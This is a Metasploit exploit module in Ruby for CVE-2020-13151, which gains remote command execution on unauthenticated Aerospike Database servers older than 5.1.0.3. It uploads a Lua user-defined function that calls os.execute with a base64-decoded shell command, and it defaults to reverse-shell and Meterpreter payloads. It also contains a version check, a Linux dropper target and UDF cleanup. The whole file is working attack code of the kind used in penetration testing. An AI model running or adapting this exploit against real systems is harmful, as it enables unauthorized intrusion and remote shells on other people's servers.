## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerospike Database UDF Lua Code Execution', 'Description' => %q{ Aerospike Database versions before 5.1.0.3 permitted user-defined functions (UDF) to call the `os.execute` Lua function. This module creates a UDF utilising this function to execute arbitrary operating system commands with the privileges of the user running the Aerospike service. This module does not support authentication; however Aerospike Database Community Edition does not enable authentication by default. This module has been tested successfully on Ubuntu with Aerospike Database Community Edition versions 4.9.0.5, 4.9.0.11 and 5.0.0.10. }, 'License' => MSF_LICENSE, 'Author' => [ 'b4ny4n', # Discovery and exploit 'bcoles' # Metasploit ], 'References' => [ ['EDB', '49067'], ['CVE', '2020-13151'], ['PACKETSTORM', '160106'], ['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'], ['URL', 'https://github.com/b4ny4n/CVE-2020-13151'], ['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'], ['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'], ], 'Platform' => %w[linux unix], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'Type' => :unix_command } ], [ 'Linux (Dropper)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Type' => :linux_dropper } ], ], 'Privileged' => false, 'DisclosureDate' => '2020-07-31', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] }, 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(3000) ] ) register_advanced_options( [ OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/']) ] ) end def build header = ['02010000'].pack('H*') data = "build\x0a" len = [data.length].pack('N') sock.put(header + len + data) sock.get_once end def remove_udf(name) header = ['02010000'].pack('H*') data = "udf-remove:filename=#{name};\x0a" len = [data.length].pack('N') sock.put(header + len + data) sock.get_once end def list_udf header = ['02010000'].pack('H*') data = "udf-list\x0a" len = [data.length].pack('N') sock.put(header + len + data) sock.get_once end def upload_udf(name, data, type = 'LUA') header = ['02010000'].pack('H*') content = Rex::Text.encode_base64(data) data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};\x0a" len = [data.length].pack('N') sock.put(header + len + data) sock.get_once end def features header = ['02010000'].pack('H*') data = "features\x0a" len = [data.length].pack('N') sock.put(header + len + data) sock.get_once end def execute_command(cmd, _opts = {}) fname = "#{rand_text_alpha(12..16)}.lua" print_status("Creating UDF '#{fname}' ...") # NOTE: we manually remove the lua file as unregistering the UDF # does not remove the lua file from disk. cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}") # NOTE: this jank to execute the payload in the background is required as # sometimes the payload is executed twice (before the UDF is unregistered). # # Executing the payload in the foreground causes the thread to block while # the second payload tries and fails to connect back. # # This would cause the subsequent call to unregister the UDF to fail, # permanently backdooring the system (that's bad). res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")}) return unless res.to_s.include?('error') if /error=(?.+?);.*message=(?.+?)$/ =~ res print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}") else print_error('UDF registration failed') end ensure # NOTE: unregistering the UDF is super important as leaving the UDF # registered causes the payload to be executed repeatedly, effectively # permanently backdooring the system (that's bad). if remove_udf(fname).to_s.include?('ok') vprint_status("UDF '#{fname}' removed successfully") else print_warning("UDF '#{fname}' could not be removed") end end def check connect res = build unless res return CheckCode::Unknown('Connection failed') end version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first unless version return CheckCode::Safe('Target is not Aerospike Database') end vprint_status("Aerospike Database version #{version}") if Gem::Version.new(version) >= Gem::Version.new('5.1.0.3') return CheckCode::Safe('Version is not vulnerable') end unless features.to_s.include?('udf') return CheckCode::Safe('User defined functions are not supported') end CheckCode::Appears end def exploit # NOTE: maximum packet size is 65,535 bytes and we lose some space to # packet overhead, command stager overhead, and double base64 encoding. max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes. if payload.encoded.length > max_size fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)") end print_status("Sending payload (#{payload.encoded.length} bytes) ...") case target['Type'] when :unix_command execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: max_size, background: true) end end end